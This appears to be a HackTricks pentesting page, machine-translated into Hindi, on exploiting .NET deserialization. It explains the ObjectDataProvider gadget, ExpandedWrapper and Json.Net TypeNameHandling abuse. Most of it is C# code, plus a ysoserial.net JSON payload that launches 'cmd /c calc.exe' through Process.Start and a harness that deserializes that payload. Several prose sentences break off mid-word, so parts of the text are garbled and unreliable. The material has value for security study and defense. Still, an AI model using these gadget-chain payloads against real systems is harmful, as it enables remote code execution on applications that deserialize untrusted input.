hacktricks/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md

12 KiB

बेसिक .Net डिसीरियलाइजेशन (ObjectDataProvider गैजेट, ExpandedWrapper, और Json.Net)

htARTE (HackTricks AWS Red Team Expert) के साथ जीरो से हीरो तक AWS हैकिंग सीखें!

यह पोस्ट ObjectDataProvider गैजेट को उत्पन्न करने के लिए कैसे उपयोग किया जाता है जिससे RCE प्राप्त किया जा सकता है और Serialization पुस्तकालय Json.Net और xmlSerializer को कैसे दुरुपयोग किया जा सकता है उस गैजेट के साथ।

ObjectDataProvider गैजेट

दस्तावेज़ीकरण से: ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
हाँ, यह एक अजीब व्याख्या है, इसलिए चलिए देखते हैं कि इस क्लास में क्या है जो इतना दिलचस्प है: यह क्लास एक विविध ऑब्जेक्ट को रैप करने की अनुमति देता है, MethodParameters का उपयोग करके विविध पैरामीटर सेट करने के लिए, और फिर MethodName का उपयोग करके विविध पैरामीटर सेट करने के लिए **विविध ऑब्ज

using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

ध्यान दें कि System.Windows.Data लोड करने के लिए C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll को संदर्भ में जोड़ना आवश्यक है।

ExpandedWrapper

पिछले उत्पीड़न का उपयोग करते हुए ऐसे मामले होंगे जहां ऑब्जेक्ट को ObjectDataProvider उदाहरण के रूप में डिसीरियलाइज़ किया जाएगा (उदाहरण के लिए DotNetNuke vuln में, XmlSerializer का उपयोग करके ऑब्जेक्ट को GetType का उपयोग करके डिसीरियलाइज़ किया गया था)। फिर, ObjectDataProvider उदाहरण में ढके ऑब्जेक्ट के प्रकार के बारे में कोई जानकारी नहीं होगी (Process उदाहरण के लिए)। आप DotNetNuke vuln के बारे में अधिक जानकारी यहाँ पा सकते हैं।

यह कक्षा एक निर्दिष्ट करने की अनुमति देती है ऑब्जेक्ट प्रकारों को उन ऑब्जेक्टों में ढके हुए जो एक निर्दिष्ट उदाहरण में होते हैं। इसलिए, यह कक्षा एक स्रोत ऑब्जेक्ट (ObjectDataProvider) को एक नए ऑब्जेक्ट प्रकार में ढकने और हमें आवश्यक गुण सुपूर्ति करने के लिए उपयोग किया जा सकता है (ObjectDataProvider.MethodName और ObjectDataProvider.MethodParameters)।
यह पिछले प्रस्तुत मामले के लिए बहुत उपयुक्त है, क्योंकि हम _ObjectDataProvider_ को एक ExpandedWrapper उदाहरण में ढक सकेंगे और जब डिसीरियलाइज़ होगी तो यह कक्षा MethodName में निर्दिष्ट कार्य को चलाएगी जो OjectDataProvider ऑब्जेक्ट बनाएगी

आप इस रैपर को निम्नलिखित कोड के साथ जांच सकते हैं:

using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

आधिकारिक वेब पेज पर इसका इंडिकेट किया गया है कि यह लाइब्रेरी **Json.NET के शक्तिशाली JSON सीरियलाइज़र के साथ किसी भी .NET ऑब्ज

using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

Json.Net का दुरुपयोग

ysoserial.net का उपयोग करते हुए मैंने एक उत्पीड़न बनाया:

ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

इस कोड में आप एक्सप्लॉइट का परीक्षण कर सकते हैं, बस इसे चलाएं और आप देखेंगे कि एक कैल्क चलाया जाता है:

using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!